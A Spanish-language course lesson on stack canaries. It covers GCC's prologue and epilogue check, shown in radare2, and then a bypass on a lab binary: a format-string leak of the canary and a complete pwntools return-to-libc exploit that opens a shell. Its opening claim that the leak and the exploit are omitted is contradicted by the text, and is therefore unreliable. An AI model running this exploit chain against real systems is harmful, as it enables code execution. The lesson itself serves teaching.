Reconocer el guardado y la comprobación de un canario en el prólogo y el epílogo.
Edición parcial: diferencias con el original
Se excluyen la extracción del canario mediante una vulnerabilidad y la construcción del exploit que elude la comprobación. Se conserva el análisis de la instrumentación y sus límites.
Prepara el análisis con el agente
Comparte esta lección y sus evidencias con tu agente. Pídele que te ayude a organizar la lectura y que justifique cada conclusión con una observación concreta.
Estoy estudiando «Canarios de pila» del curso de Lobera. Ayúdame a interpretar las funciones, estructuras y capturas de esta lección. Distingue las observaciones del caso de las hipótesis y cita la evidencia que sostiene cada conclusión.
El análisis se apoya en las evidencias disponibles para este caso. Preparación y funcionamiento.
Compilando sin no-stack-protector
Siguiendo los posts anteriores donde hablamos sobre vulnerabilidades de desbordamiento de buffer y cómo escribir exploits para ellas, hoy vamos a hablar de los canarios de pila (stack canaries).
Como recordamos, en los posts anteriores compilábamos nuestro programa vulnerable desactivando los mecanismos de protección de la pila (opciones no-stack-protector, no-pie). Antes de empezar, vamos a inspeccionar qué ocurre si compilamos el programa sin desactivarlos. Partimos de nuestro programa vulnerable más simple:
#include <stdio.h>
void greet_me()
{
char name[200];
gets(name);
printf("Hi there %s !!\n",name);
}
int main(int argc, char *argv[])
{
greet_me();
return 0;
}
Y lo compilamos así:
gcc -w vuln.c -o vuln -D_FORTIFY_SOURCE=0
Después intentamos desbordar el buffer enviando una secuencia de caracteres A:
lab@lab-VirtualBox:~/canary$ ./vuln_canary
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hi there AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA !!
*** stack smashing detected ***: <unknown> terminated
Pero esta vez observamos que el programa termina sin el desbordamiento típico. En su lugar vemos un «stack smashing detected» seguido de «terminated». El programa detecta de alguna forma el desbordamiento de buffer y lo termina de inmediato, sin dejar margen para que ningún exploit funcione.
Stack canaries
Lo que ha ocurrido es que, al no estar desactivado, GCC compiló el programa habilitando stack canaries. El término Stack Canaries hace referencia al canario en la mina de carbón, un mecanismo de protección para los mineros que trabajaban en minas de carbón a principios del siglo XX. Los mineros llevaban un canario real dentro de la mina; cuando el canario moría, era momento de salir antes de morir por intoxicación. La siguiente imagen, extraída del blog de Ch0pin, muestra un canario de ejemplo:
El mecanismo funciona de manera similar en la pila. Parte del hecho de que un atacante intentará desbordar la pila, es decir, sobrescribir memoria cuando no debería hacerlo. Supongamos que al inicio de una llamada a función (por ejemplo, durante su prólogo) guardamos un valor en el marco de pila de la función; esperaríamos leer ese mismo valor justo antes de que la función termine, es decir, en su epílogo. Si el valor ha cambiado, la ejecución del programa se terminará y se mostrará un mensaje de error.
Visualmente, podemos ver que los stack canaries funcionan como en el siguiente diagrama:
Ahora, si volvemos a nuestro programa anterior compilado sin desactivar el stack protector, vemos lo siguiente antes y después de la función greet_me:
0x5555555546fa 3 96 sym.greet_me
0x55555555475a 1 32 sym.main
0x555555554780 4 101 sym.__libc_csu_init
0x5555555547f0 1 2 sym.__libc_csu_fini
0x5555555547f4 1 9 sym._fini
0x555555754fe0 1 1020 reloc.__libc_start_main_224
[0x7ffff7dd4090]> s 0x5555555546fa
[0x5555555546fa]> pdf
/ (fcn) sym.greet_me 96
| sym.greet_me ();
| ; var int local_d0h @ rbp-0xd0
| ; var int local_8h @ rbp-0x8
| ; CALL XREF from 0x55555555476e (sym.main)
| 0x5555555546fa 55 push rbp
| 0x5555555546fb 4889e5 mov rbp, rsp
| 0x5555555546fe 4881ecd00000. sub rsp, 0xd0
| 0x555555554705 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x55555555470e 488945f8 mov qword [local_8h], rax
| 0x555555554712 31c0 xor eax, eax
| 0x555555554714 488d8530ffff. lea rax, qword [local_d0h]
| 0x55555555471b 4889c7 mov rdi, rax ; char *s
| 0x55555555471e b800000000 mov eax, 0
| 0x555555554723 e8a8feffff call sym.imp.gets ; char*gets(char *s)
| 0x555555554728 488d8530ffff. lea rax, qword [local_d0h]
| 0x55555555472f 4889c6 mov rsi, rax
| 0x555555554732 488d3dcb0000. lea rdi, qword str.Hi_there__s ; 0x555555554804 ; "Hi there %s !!\n" ; const char * format
| 0x555555554739 b800000000 mov eax, 0
| 0x55555555473e e87dfeffff call sym.imp.printf ; int printf(const char *format)
| 0x555555554743 90 nop
| 0x555555554744 488b45f8 mov rax, qword [local_8h]
| 0x555555554748 644833042528. xor rax, qword fs:[0x28]
| ,=< 0x555555554751 7405 je 0x555555554758
| | 0x555555554753 e858feffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| `-> 0x555555554758 c9 leave
\ 0x555555554759 c3 ret
[0x5555555546fa]>
Como vemos, antes de que la función comience, el programa carga el contenido de qword fs:[0x28] en local_8h, que está en la pila. Después recupera su valor y lo compara con el valor inicial para ver si coinciden. Si no coinciden, el programa no retornará, evitando la ejecución de un posible exploit, como vimos. En su lugar saltará a una función que mostrará la cadena de stack smash y llamará a exit() de la forma más segura posible.
En radare2 podemos comprobar si los stack canaries están habilitados en un ejecutable de esta forma:
[0x5555555545f0]> i~pic,canary,nx,crypto,stripped,static,relocs
file /home/lab/canary/vuln_base
canary true
crypto false
nx true
pic true
relocs false
static false
stripped true
[0x5555555545f0]>
Y podemos depurar el programa para inspeccionar el valor del canario de pila al inicio de la función:
[0x5555555546fa]> pdf
/ (fcn) sym.greet_me 96
| sym.greet_me ();
| ; var int local_d0h @ rbp-0xd0
| ; var int local_8h @ rbp-0x8
| ; CALL XREF from 0x55555555476e (sym.main)
| 0x5555555546fa 55 push rbp
| 0x5555555546fb 4889e5 mov rbp, rsp
| 0x5555555546fe 4881ecd00000. sub rsp, 0xd0
| 0x555555554705 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x55555555470e 488945f8 mov qword [local_8h], rax
| ;-- rip:
| 0x555555554712 b 31c0 xor eax, eax
| 0x555555554714 488d8530ffff. lea rax, qword [local_d0h]
| 0x55555555471b 4889c7 mov rdi, rax
| 0x55555555471e b800000000 mov eax, 0
| 0x555555554723 e8a8feffff call sym.imp.gets ; char*gets(char *s)
| 0x555555554728 488d8530ffff. lea rax, qword [local_d0h]
| 0x55555555472f 4889c6 mov rsi, rax
| 0x555555554732 488d3dcb0000. lea rdi, qword str.Hi_there__s ; 0x555555554804 ; "Hi there %s !!\n"
| 0x555555554739 b800000000 mov eax, 0
| 0x55555555473e e87dfeffff call sym.imp.printf ; int printf(const char *format)
| 0x555555554743 90 nop
| 0x555555554744 488b45f8 mov rax, qword [local_8h]
| 0x555555554748 644833042528. xor rax, qword fs:[0x28]
| ,=< 0x555555554751 7405 je 0x555555554758
| | 0x555555554753 e858feffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| `-> 0x555555554758 c9 leave
\ 0x555555554759 c3 ret
[0x5555555546fa]> dr rax
0x22bb275bb4188b00
Como vemos, está almacenado en la pila, antes de los registros guardados y el puntero de marco:
[0x5555555546fa]> pxw @ rbp-0x8
0x7fffffffdf98 0xb4188b00 0x22bb275b 0xffffdfc0 0x00007fff ....['."........
0x7fffffffdfa8 0x55554773 0x00005555 0xffffe0a8 0x00007fff sGUUUU..........
Y después se recupera al final para comprobar si ha habido sobrescrituras:
| 0x555555554744 488b45f8 mov rax, qword [local_8h]
| ;-- rip:
| 0x555555554748 b 644833042528. xor rax, qword fs:[0x28]
| ,=< 0x555555554751 7405 je 0x555555554758
| | 0x555555554753 e858feffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| `-> 0x555555554758 c9 leave
\ 0x555555554759 c3 ret
[0x555555554748]> dr rax
0x22bb275bb4188b00
[0x555555554748]>
Podemos volver a ejecutar y depurar el programa varias veces para ver cómo el canario de pila, en nuestro caso, cambia cada vez.
También podemos mostrar su valor de una forma más visual y sencilla usando el siguiente programa en C:
#include <stdio.h>
#define unsigned_long_int unsigned long int
void greet_me()
{
char name[200];
register void *rsp asm ("%rsp");
register void *rbp asm ("%rbp");
unsigned_long_int size = ((rbp + 8 * 2) - rsp) / 8;
printf("-----SZ: %lld | RSP: %llx | RBP: %llx ---------------\n",rsp,rbp);
printf("[+] Canary value: %llx\n",*((unsigned_long_int*) (rbp-0x8)));
printf("---------------------------------------------------------\n");
}
void greet_me_again()
{
char name[200];
register void *rsp asm ("%rsp");
register void *rbp asm ("%rbp");
unsigned_long_int size = ((rbp + 8 * 2) - rsp) / 8;
printf("-----SZ: %lld | RSP: %llx | RBP: %llx ---------------\n",rsp,rbp);
printf("[+] Canary value: %llx\n",*((unsigned_long_int*) (rbp-0x8)));
printf("---------------------------------------------------------\n");
}
int main(int argc, char *argv[])
{
greet_me();
greet_me_again();
return 0;
}
Aquí vemos que el canario será el mismo, el mismo valor para cada llamada a función dentro de nuestro programa:
lab@lab-VirtualBox:~/canary$ ./vuln 88
-----SZ: 140737488346864 | RSP: 7fffffffdfd0 | RBP: 555555554860 ---------------
[+] Canary value: b3cf9bf71e2dfa00
---------------------------------------------------------
-----SZ: 140737488346864 | RSP: 7fffffffdfd0 | RBP: 7ffff7af2104 ---------------
[+] Canary value: b3cf9bf71e2dfa00
---------------------------------------------------------
lab@lab-VirtualBox:~/canary$
Lo cual es particularmente bueno, ya que si somos capaces de obtener el valor del canario en ejecución, podremos atacar cada función de forma segura.
Tipos de canarios
No existe un único tipo de canario de pila. El siguiente artículo de SANS los describe muy bien. Resumiendo para nuestro caso, normalmente encontraremos: canarios terminadores (Terminator canaries), que consisten en al menos un carácter terminador de cadena (nueva línea, nulo, etc.), y la idea es que, dado que la mayoría de vulnerabilidades de desbordamiento provienen de funciones como gets() o strcpy(), el atacante no podrá incluirlos en el payload. Canarios aleatorios (Random canaries), que consisten en una secuencia de bytes aleatorios desconocida para el atacante. Y canarios XOR aleatorios (Random XOR), que consisten en un valor aleatorio XOR-eado con una máscara construida a partir del puntero de marco adyacente y la dirección de retorno.
Los canarios terminadores funcionan muy bien al limitar la longitud del buffer, cortando el payload automáticamente ya que 0x00 termina la cadena. Los canarios aleatorios, como en nuestro caso, funcionan comparando un valor generado aleatoriamente, aunque pueden resultar inútiles si el programa también tiene una vulnerabilidad de fuga de memoria que permita al atacante recuperar ese valor. Los canarios XOR funcionan de forma similar y sufren vulnerabilidades parecidas, añadiendo un paso extra de dificultad.
Desde la versión 2.7.2.2, GCC incluye la extensión StackGuard consulta el código aquí que habilita el uso de canarios aleatorios. El compilador añade código en el prólogo y epílogo de la función para activar el canario.
Bypaseando StackGuard con fugas de memoria
En términos generales, bypasearemos el StackGuard accediendo al valor del canario de pila de dos formas: por fuerza bruta del valor del canario o abusando de una fuga de memoria para recuperar su valor. BananaMafia tiene un buen tutorial sobre fuerza bruta del canario. Aquí iremos por el enfoque de fuga de memoria:
Empezamos con este programa, que básicamente es el mismo que el anterior salvo que lee un parámetro de argv:
#include <stdio.h>
#define unsigned_long_int unsigned long int
void greet_me(char *input)
{
char name[200];
printf(input);
printf("\n")
gets(name);
printf("Hi there %s !!\n",name);
}
int main(int argc, char *argv[])
{
greet_me(argv[1]);
return 0;
}
Y es vulnerable a una vulnerabilidad de format string.
Vemos que los format strings como %s, %d, etc., se usan para especificar un formato de datos. La lista completa para C está aquí. %d va para el entero decimal, c para carácter y... x para hexadecimal. Además, podemos especificar la longitud: por ejemplo ll corresponde a long long int. Y podemos combinarlos, así que llx especificará una dirección x64.
Volviendo a nuestro programa, vemos que básicamente envía el contenido del primer argumento directamente a printf, sin ninguna comprobación ni especificación de formato adicional dentro del programa. Así que si enviamos un buffer que solo contenga especificadores de formato, sin texto ni datos reales, el programa intentará referirse a los datos en la pila, provocando así una fuga de memoria en nuestro formato de interés:
Podemos intentar enviar el siguiente buffer como argumento:
%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx
Y veremos las fugas de memoria:
lab@lab-VirtualBox:~/canary$ ./vuln_canary %llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx
7fffffffdfd8,7fffffffdff0,5555555547f0,7ffff7dced80,7ffff7dced80,0,7fffffffe317,0,7ffff7ffe710,7ffff7b95687,0,7fffffffde50,7fffffffde60,7ffff7ffea98,0,0,7fffffffde70,ffffffff,0,7ffff7ffb2a8,7ffff7ffe710,0,0,0,0,9,7ffff7dd5660,7fffffffdf08,f0b5ff,1,55555555483d,7ffff7de3b40,ec6f25befc82300,7fffffffdef0,5555555547e1,7fffffffdfd8,200000000,5555555547f0,7ffff7a03c87,2,7fffffffdfd8,200008000,5555555547bf,0,be51b7a7fa1c8578,555555554630,7fffffffdfd0,0
Habiendo analizado previamente nuestro programa, podemos identificar fácilmente algo que se asemeja a nuestro canario:
lab@lab-VirtualBox:~/canary$ ./vuln_canary %33\$llx
7e791a4e294e1100
Hi there !!
lab@lab-VirtualBox:~/canary$
lab@lab-VirtualBox:~/canary$ ./vuln_canary %33\$llx
85f4f9bb91ee7100
A partir de aquí, escribir el exploit es muy fácil si entendemos los fundamentos. Solo necesitamos: 1) recuperar automáticamente el canario mediante una fuga de memoria, 2) desbordar/sobrescribir la pila colocando el valor (recuperado) del canario en su posición (local_8h). Después, continuar con el exploit como siempre.
Podemos adaptar nuestro exploit usando la técnica return-to-libc, discutida anteriormente en este blog.
Empezamos buscando dentro de libc:
[0x555555554630]> e search.from=0x7ffff7dd3000
[0x555555554630]> e search.to=0x7ffff7dfc000
Obteniendo ret, pop rdi; ret y las direcciones de system, bin/sh y exit. Con eso podemos lanzar una shell:
[0x555555554630]> /R ret
0x7ffff7dd336c 69374ab593d1 imul esi, dword [rdi], 0xd193b54a
0x7ffff7dd3372 70ed jo 0x7ffff7dd3361
0x7ffff7dd3374 54 push rsp
0x7ffff7dd3375 a9a542b486 test eax, 0x86b442a5
0x7ffff7dd337a c3 ret
[0x555555554630]> /R pop rdi
0x7ffff7dd47fb 5f pop rdi
0x7ffff7dd47fc c3 ret
[0x555555554630]> dmi libc system~ system$
1406 0x0004f420 0x7ffff7a31420 WEAK FUNC 45 system
Searching 7 bytes in [0x7ffff7dd3000-0x7ffff7dfc000]
hits: 0
0x7ffff7b95d88 hit2_0 .cempty == 1-c/bin/shexit 0canonica.
[0x555555554630]> pxw @ 0x7ffff7b95d88
0x7ffff7b95d88 0x6e69622f 0x0068732f 0x74697865 0x63003020 /bin/sh.exit 0.c
0x7ffff7b95d98 0x6e6f6e61 0x6c616369 0x2e657a69 0x534d0063 anonicalize.c.MS
Y después podemos integrarlos en una función exploit. Aquí he usado pwntools, que puede instalarse fácilmente siguiendo esta guía.
Y he construido el exploit así. Ten en cuenta que podemos usar la técnica return-to-libc encontrando la dirección base de libc (o de cualquier otra librería si encaja) y llamando después a direcciones relativas desde ese punto, o podemos simplemente llamar a esas direcciones directamente (hardcodeando todo). En general, usar direcciones relativas desde libc será más útil cuando nos enfrentemos a ASLR o trabajemos en sistemas distintos.
#!/usr/bin/env python3
from pwn import *
from struct import pack
exe = context.binary = ELF('./vuln_canary')
libc_base_address = 0x7ffff79e2000
ret = libc_base_address+0x3F137A
# ret = 0x7ffff7dd337a
pop_rdi = libc_base_address + 0x3F27FB
# pop_rdi = 0x7ffff7dd47fb
bin_sh = libc_base_address + 0x1B3D88
#bin_sh = 0x7ffff7b95d88
_system = libc_base_address + 0x4F420
#_system = 0x7ffff7a31420
_exit = libc_base_address + 0x43110
# _exit =0x7ffff7a25110
print("[+] Spawning process...")
io = process([exe.path , "%33$llx"])
canary = int(io.readline().strip(),16)
print("[+] Canary leaked:{}".format(hex(canary)))
buf = b'A' * 200
buf += p64(canary)
buf += b'\x42' * 8
buf += p64(ret)
buf += p64(pop_rdi)
buf += p64(bin_sh)
buf += p64(_system)
buf += p64(_exit)
with open('payload','wb') as payload:
payload.write(buf)
io.sendline(buf)
io.interactive()
Y tras ejecutar el exploit, sin sorpresas, ejecución conseguida:
lab@lab-VirtualBox:~/canary$ python3 exploit.py
[*] '/home/lab/canary/vuln_canary'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Spawning process...
[+] Starting local process '/home/lab/canary/vuln_canary': pid 18398
[+] Canary leaked:0x9a67985edc03e800
[*] Switching to interactive mode
Hi there AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA !!
$ ls
exploit.py script.rr2 vuln_base vuln_canary vuln_print.c
payload vuln vuln.c vuln_canary.c
$
Con esto concluye la lección sobre canarios de pila.
Referencias
Antes de continuar
Explica con tus palabras la operación estudiada y señala las instrucciones o capturas que la justifican. Distingue los datos observados de los nombres y tipos que has reconstruido.
El progreso se guarda en este navegador. Puedes recorrer las lecciones en cualquier orden.